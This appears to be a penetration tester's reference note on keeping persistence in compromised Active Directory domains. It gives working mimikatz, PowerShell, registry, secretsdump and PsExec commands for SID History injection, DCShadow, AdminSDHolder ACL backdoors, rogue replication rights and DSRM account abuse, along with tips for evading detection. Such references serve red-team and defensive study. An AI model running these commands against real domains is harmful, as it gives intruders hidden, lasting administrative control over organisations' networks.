> For the complete documentation index, see [llms.txt](https://notes.qazeer.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.qazeer.io/active-directory/post_exploitation-persistence.md). # Post Exploitation - Persistence ### Kerberos "golden" / "silver" tickets ### SID History The access to securable resources, that is resources that define a `security descriptor`, is based on the `security principal`'s (user or machine account and security group notably) `SID`, eventual extra `SIDs`, and `security group SIDs`. Indeed, these `SIDs` are compared to the access rights defined in the `Access Control Entries (ACEs)` of the accessed object's `Discretionary Access Control List (DACL)`. Adding a privileged `SID`, such as the one of the built-in domain Administrator account (`SID` `S-1-5-21--500`), in the `SID History` of a non privileged user can thus be leveraged to maintain persistence in the domain through a seemingly standard user. In order to avoid detection, a non built-in user (`RID` > 1000) member of a privileged group (`Enterprise Admins`, `Domain Admins`, `Administrators`, etc.) may be preferred. The persistence will be operational until the impersonated user is deleted or removed from the privileged group(s). Under normal circumstances, `SIDs` will only be added (automatically) to the `SIDHistory` attribute of a security principal during domain migration and cannot be manually added (but can be manually removed). This restriction can be bypassed and `SIDs` added to a `security principal`'s `SIDHistory` attribute with `mimikatz` by either: * executing code locally on a Domain Controller to patch its `NTDS` service * registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as `DCShadow`) The following command can be used to validate the `SIDHistory` attribute modification: ``` Get-ADObject -Filter "(SamAccountName -eq '')" -Properties SIDHistory ``` **SID History modification through local patch of the NTDS service** This technique of modification of the `SIDHistory` attribute requires privileges granted to the `Domain Admins` group and must be conducted on a Domain Controller as the `Windows NT Directory Services (NTDS)` service must be locally patched. While the `SID History` modification will persist, the `NTDS` service patch will not be persistent across reboot of the Domain Controller. `mimikatz`'s `sid` module can be used to add `SIDs` in the `SIDHistory` attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller): ``` # If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege. mimikatz # token::elevate mimikatz # privilege::debug # Patches the ntds service. # Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence). mimikatz # sid::patch # Adds the given SID in the SIDHistory attribute of the specified user. # For example, S-1-5-21--500 for built-in domain Administrator account. mimikatz # sid::add /sam: /new:-519 | EXTRA_SID> ``` **SID History modification through DCShadow** The restriction on the modification of the `SIDHistory` attribute can be also bypassed through a `DCShadow` attack to arbitrarily set an account `SIDHistory` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note. **This technique will override any `SID(s)` currently present in the `security principal`'s `SIDHistory` attribute.** ``` # Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack: # One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins"). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # First interpreter (executed as "NT AUTHORITY\SYSTEM"). mimikatz # lsadump::dcshadow /object: /attribute:SIDHistory /value:-519 | SID> # Second interpreter (executed as the privileged domain account). mimikatz # lsadump::dcshadow /push ``` ### PrimaryGroupID The `PrimaryGroupID` attribute of an user or machine account contains the `Relative IDentifier (RID)` of a domain group and gives an implicit membership to the specified group. The `PrimaryGroupID` attribute is used to support integration of `UNIX POSIX` clients but is not otherwise specifically used in `Active Directory`. The group membership granted by the `PrimaryGroupID` attribute does not appear in the account's `MemberOf` nor in the group's `Members` `LDAP` attributes. It will however be included in `constructed attributes` "constructed" through Microsoft APIs (such as group membership returned by the `Active Directory` PowerShell module, `MMC`'s snappins, the `net` utility, etc.). It can thus be used, to a certain extent, to dissimulate membership of a standard account to a privileged group. In `kerberos` authentication, the `PrimaryGroupID` attribute of an account populate the account's `kerberos` tickets `_KERB_VALIDATION_INFO`'s `PrimaryGroupId` and `GroupIds` fields (in the tickets' `Privilege Attribute Certificate (PAC)`). Depending on the account type, the account's `PrimaryGroupID` attribute takes a different default value: | Account type | PrimaryGroupID | Corresponding group | | -------------------------------------------- | -------------- | ------------------------------------------------------------------------------------------------------------------------ | | User account | `513` |

Domain Users

constant: DOMAIN\_GROUP\_RID\_USERS

| | `Guest` account | `514` | `Domain Guests` | | Machine account | `515` |

Domain Computers

constant: DOMAIN\_GROUP\_RID\_COMPUTERS

| | Domain Controllers machine account | `516` |

Domain Controllers

constant: DOMAIN\_GROUP\_RID\_CONTROLLERS

| | Read Only Domain Controllers machine account | `521` |

Read-only Domain Controllers

constant: DOMAIN\_GROUP\_RID\_READONLY\_CONTROLLERS

| Under normal circumstances, the account must be a member of the group specified in its `PrimaryGroupID` attribute. An error indeed occurs whenever trying to set the `PrimaryGroupID` attribute of an account to the `RID` of a group the account is a not a member of (error: "The specified user account is a not a member of the specified group account"). A similar error occurs whenever attempting to remove an account from the group set in its `PrimaryGroupID` (error: "The primary group cannot be removed. Set another group as primary if you want to remove this one".) The restriction of membership can be bypassed through a `DCShadow` attack to arbitrarily set an account `PrimaryGroupID` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note. ``` # Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack: # One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins"). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # First interpreter (executed as "NT AUTHORITY\SYSTEM"). mimikatz # lsadump::dcshadow /object: /attribute:PrimaryGroupID /value:<512 | 519 | GROUP_RID> # Second interpreter (executed as the privileged domain account). mimikatz # lsadump::dcshadow /push ``` The following command can be used to validate the `PrimaryGroupID` attribute modification: ``` Get-ADObject -Filter "(SamAccountName -eq '')" -Properties PrimaryGroupID ``` ### AdminSDHolder ACL *For a general overview of `Access Control Lists (ACL)`, refer to the `[ActiveDirectory] ACL exploiting` note.* A number of predefined privileged built-in accounts and groups (including their members) are protected by the `SDProp` mechanism. `SDProp` is an automated process that ensure that the `ACL` defined on the aforementioned protected security principals match the `AdminSDHolder` object's `ACL` (and restore the expected `ACL` in case of mismatch). In addition to verifying and eventually restoring `ACL`, the `SDProp` mechanism also disable `ACL` inheritance and set the `adminCount` attribute of the protected principals to `0x1`. Note that users and groups removed from the predefined privileged groups will no longer be protected by the `SDProp` mechanism but will keep their `adminCount` attribute set to `0x1` and `ACL` inheritance disabled. The `SDProp` process runs every 60 minutes by default. This frequency of execution can be modified using the `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\AdminSDProtectFrequency` registry key on the domain's PDC Emulator. Valid values range from 60 to 7200 seconds. As of `Windows Server 2008`, the following privileged accounts and groups are protected by the `SDProp` mechanism: * `Account Operators` * `Administrator` * `Administrators` * `Backup Operators` * `Domain Admins` * `Domain Controllers` * `Enterprise Admins` * `Krbtgt` * `Print Operators` * `Domain Controllers` * `Replicator` * `Schema Admins` * `Server Operators` **Any `ACE` set directly on a protected account or group will not persist the `SDProp` process. Only the modification of the `AdminSDHolder` object's `ACL` may thus be used as a persistence mechanism on privileged principals.** The domain's `AdminSDHolder` object is a `Container` located at `CN=AdminSDHolder,CN=System,`. By default, only the `Domain Admins`, `Enterprise Admins`, and `Administrators` domain groups are granted the right to modify the `ACL` of the `AdminSDHolder` object: ``` IdentityReference : \Domain Admins ActiveDirectoryRights : GenericAll AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : None IdentityReference : \Enterprise Admins ActiveDirectoryRights : GenericAll AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : ContainerInherit IdentityReference : BUILTIN\Administrators ActiveDirectoryRights : WriteProperty, ExtendedRight, WriteDacl, WriteOwner, [...] AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : ContainerInherit ``` The following PowerShell script can be used to manually trigger the `SDProp` mechanism (without interfering with the normal execution schedule): ``` # An arbitrary domain can be specified using: $DomainName = "". $DomainName =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name # The task name associated with the SDProp mechanism vary depending on the domain's PDC Emulator operating system. # For <= Windows Server 2008: $Task = 'FixUpInheritance' # For > Windows Server 2008: $Task = 'RunProtectAdminGroupsTask' $Task = 'RunProtectAdminGroupsTask' $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName) $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE") $RootDSE.UsePropertyCache = $false $RootDSE.Put($Task, "1") $RootDSE.SetInfo() ``` A number of `ACE` may be used to maintain persistence by creating a control path through `AdminSDHolder` object's `ACL`: * `GenericAll` * `WriteOwner` * `WriteDacl` * `WriteProperty` / `GenericWrite` to all properties or property that can be used to take control of the object (`Member` attribute for groups, `Script-Path` for users, etc.) * `AllExtendedRights` or `ExtendedRight` that grant control over the object (such as `ForceChangePassword`) For more details on the aforementioned `ACE`, and techniques and tools to leverage them, refer to the `[ActiveDirectory] ACL exploiting` note (section `Users and groups permissions exploitation`). The `ACL` modification can be done with `mmc.exe`'s `Active Directory Users and Computers (ADUC)` graphical snap-in or in PowerShell using the `PowerView`'s `Add-DomainObjectAcl` and `ActiveDirectory` module's `Get-Acl` / `Set-Acl` cmdlets. ``` # Procedure to the modify AdminSDHolder object's ACL using ADUC. # ADUC cannot be used to set more fine grained rights on the AdminSDHolder object (such as ExtendedRight's ForceChangePassword or WriteProperty to the Member attribute). mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers -> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add -> Select a principal -> Type: Allow -> Applies to: This object only -> Permissions: FullControl / Write all properties / Modify permissions / Modify owner # Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights. # The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional. Add-DomainObjectAcl -Verbose -TargetIdentity "CN=AdminSDHolder,CN=System," -PrincipalIdentity -Rights # Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE. $AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System," $User = '' $UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID $AdminSDHolderACL = Get-ACL -Path $AdminSDHolder # Adds the ACE GenericAll. $ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow, [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_FullControl) # Adds the ACE WriteProperty to the Member attribute. $ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty, [System.Security.AccessControl.AccessControlType]::Allow, "bf9679c0-0de6-11d0-a285-00aa003049e2", [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_WriteMember) # Adds the ACE ExtendedRight's User-Force-Change-Password. $ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight, [System.Security.AccessControl.AccessControlType]::Allow, "00299570-246d-11d0-a768-00aa006e0529", [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_ResetPassword) Set-Acl -Path $AdminSDHolder -AclObject $AdminSDHolderACL ``` The `PowerView`'s `Get-DomainObjectAcl` and `ActiveDirectory` PowerShell module's `Get-Acl` cmdlets can be used to validate the modification: ``` # Uses PowerView to enumerate the ACL of the AdminSDHolder object. $UserSID = Get-DomainUser -Identity | Select-Object -ExpandProperty objectsid Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System," -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID} # Uses the PowerShell ActiveDirectory module to enumerate the ACL of the AdminSDHolder object. # To enumerate ACL from a different domain (the AD drive to the current domain should automatically be mapped whenever importing the ActiveDirectory PowerShell module): New-PSDrive -Name -PSProvider ActiveDirectory -Server '' -root "//RootDSE/" [-Credential ] Get-Acl ":\CN=AdminSDHolder,CN=System," | Select-Object -ExpandProperty Access | ? IdentityReference -Match "" ``` ### DRSUAPI replication operations (DCSync attack) rights *Refer to the `[ActiveDirectory] ntds.dit dumping` note for tools and techniques to conduct replication operations (DCSync attack).* **Minimal ACEs** **Machine account with SERVER\_TRUST\_ACCOUNT** A machine account that has its `UserAccountControl` attribute with the `SERVER_TRUST_ACCOUNT` (`0x2000` / `8192`) bit set is able to perform replication operations (`DCSync` attack) implicitly. The machine account will indeed be considered as a Domain Controller and be able to replicate AD objects with out the `Ds-Replication-Get-Changes` and `Ds-Replication-Get-Changes-All` extended rights. The `DS-Install-Replica` extended right, on the domain root object, is required to set an account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit. This right is by default granted to the `Domain Admins`, `Administrators`, and `Enterprise Admins` groups. **Granting the `DS-Install-Replica` extended right to an otherwise unprivileged account may thus also be used as a mean of persistence.** Whenever an machine account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the account will be set to `516` (`DOMAIN_GROUP_RID_CONTROLLERS`) and the account added to the group referenced by the previous `primaryGroupId` value. While the `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the machine account will not be modifiable (error: "Cannot change the primary group ID of a domain controller account"). As the machine account will considered as a Domain Controller, no Windows `Security` events `Event 4662: An operation was performed on an object` will be generated upon replication operations. For maximum stealthiness, it is possible to overpass-the-hash to mimic legitimate Domain Controller authentication. Doing so will generate Windows `Security` events `Event 4662: An account was successfully logged on` with the `Kerberos` (instead of `NTLM`) authentication package. Refer to the `[ActiveDirectory] Kerberos tickets usage` note for more information on the overpass-the-hash technique. The PowerShell `ActiveDirectory` module's `New-ADComputer` and `Set-ADComputer` can be used to create a new machine account and set its `UserAccountControl` attribute. ``` # Creates a new machine account that will have the given password. # The specified password must meet the password policy of the domain. The account will be created but disabled if the password does not meet the password policy. New-ADComputer "" -AccountPassword (ConvertTo-SecureString -AsPlainText -Force "") # Set the specified machine account UserAccountControl attribute's SERVER_TRUST_ACCOUNT bit. Set-ADComputer "" -Replace @{"UserAccountControl" = 0x2000} # Retrives the specified machine account UserAccountControl attribute. Get-ADComputer "" -Properties UserAccountControl ``` ### DCShadow **DCShadow minimal ACE** The following access rights are sufficient to conduct a `DCShadow` attack (without the need of being part of a privileged group such as `Domain Admins`): * `DS-Install-Replica` (right's GUID: `9923a32a-3607-11d2-b9be-0000f87a36b2`) * `DS-Replication-Manage-Topology` (right's GUID: `1131f6ac-9c07-11d1-f79f-00c04fc2dcd2`) * `DS-Replication-Synchronize` (right's GUID: `1131f6ab-9c07-11d1-f79f-00c04fc2dcd2`) **DCShadow realisation** Make sure that the local Firewall policy allows inbound connection on the dynamic TCP ports range. ``` # Two mimikatz interpreters are required for the DCShadow attack (as implemented by mimikatz). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # The first interpreter must be executed as "NT AUTHORITY\SYSTEM" and will be used to define the modification. # PsExec can be used to elevate from local Administrator to "NT AUTHORITY\SYSTEM": PsExec64.exe -accepteula -s -i cmd.exe mimikatz # lsadump::dcshadow /object: /attribute:PrimaryGroupID /value=<512 | 519 | GROUP_RID> # The second interpreter must be executed as a domain user with enough privileges to conducted the DCShadow attack (by default a member of the "Domain Admins" group). # runas can be used to execute a process under the identity of the specified account for remote access only: runas /NetOnly /user:\ cmd.exe mimikatz # lsadump::dcshadow /push ``` ### Directory Services Restore Mode account The `Directory Services Restore Mode (DSRM)` account correspond to the local built-in `Administrator` (username language dependent name, `SID` `S-1-5-21--500`) of a Domain Controller. The `DRSM` account password is specific to each Domain Controller and is setup during the Domain Controller promulgation. The `DRSM` accounts are local to each Domain Controller and have no link with the built-in `Administrator` (`SID` `S-1-5-21--500`) of the domain. Note that since `Windows Server 2008` (`KB961320`), the `DSRM` account password can be one-time synchronized with a domain account (further synchronization are however not automated and must be done manually). The usage of the `DSRM` account is controlled by the `DsrmAdminLogonBehavior` registry key: | Value | Description | | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |

0x0

Undefined

|

The DSRM account can only be used if the Domain Controller is booted in DSRM.

bcdedit /set safeboot dsrepair
shutdown /r /f /t 5

| | `0x1` | The `DSRM` account can login on the Domain Controller if the `Active Directory Domain Service (AD DS)` of the Domain Controller are (locally) stopped. | | `0x2` | The `DSRM` account can login with out any restriction. | By default, the `DsrmAdminLogonBehavior` key is undefined (and thus the `DSRM` account can only be used to connect to the Domain Controller if it has been restarted in `DSRM`). To maintain persistence after a compromise of an Active Directory domain, the local built-in `Administrator` password of a Domain Controller can be retrieved (or set) and the `DsrmAdminLogonBehavior` of the Domain Controller set to `0x2`. The `DSRM` account will be usable over the network even if the Domain Controller is not started in `DSRM` and persistence maintained until its password is renewed. In this scenario, the `DSRM` account can notably be used to remotely connect to the Domain Controller or conduct replication operations (`DCSync` attack). The following commands can be used to retrieve and set the value of the `DsrmAdminLogonBehavior` registry key (on a Domain Controller): ``` # Retrieves the current value of the DsrmAdminLogonBehavior registry key. reg query "HKLM\System\CurrentControlSet\Control\Lsa\" /v "DsrmAdminLogonBehavior" Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -Name "DsrmAdminLogonBehavior" # Creates and sets the value of the DsrmAdminLogonBehavior registry key to the specified value. reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>" New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -PropertyType DWORD -Value <2 | VALUE> # Overrides the value of the DsrmAdminLogonBehavior registry key to the specified value (if the key already exists). reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>" Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value "<2 | VALUE>" ``` The following techniques can be used to retrieve or set the `DRSM` account password: ``` # Remote extraction of the DRSM account (full dump of the local accounts stored in the SAM registry hive). # For more information and techniques on how to retrieve the local Administrator NTLM hash from the SAM database, refer to the "[Windows] Post Exploitation" note. secretsdump.py '/[:]@' # While not recommended from an opsec standpoint, the DRSM account password can also be reset (with out requiring knowledge of the current password). ntdsutil > set dsrm password # "null" if the commands are executed locally on the Domain Controller of which the DRSM account password should be updated, its hostname otherwise. > reset password on server > > ``` If the `DsrmAdminLogonBehavior` key of the targeted Domain Controller is set to `0x2`, remote code execution or replication operations can be conducted using the `DRSM` account: ``` # Refer to the "[ActiveDirectory] ntds.dit dumping" for more techniques to extract the secrets from the ntds.dit database. secretsdump.py '/:@' secretsdump.py -hashes <:DSRM_NTLM_HASH> '/@' # The DRSM account can be used through any authentication types (network logon, remote interactive logon, etc.). # Refer to the "[Windows] Lateral movements" note for more techniques to remotely execute code on the targeted Domain Controller (through PsExec-like tools, WMI, WinRM, RDP, etc.). PsExec.exe -accepteula \\ -u "/" -p "" -s ``` ### Kerberos delegations ### Certificates (`User-Principal-Name` or `Alt-Security-Identities`) ### Skeleton key ### Domain Controller local persistence *** ### References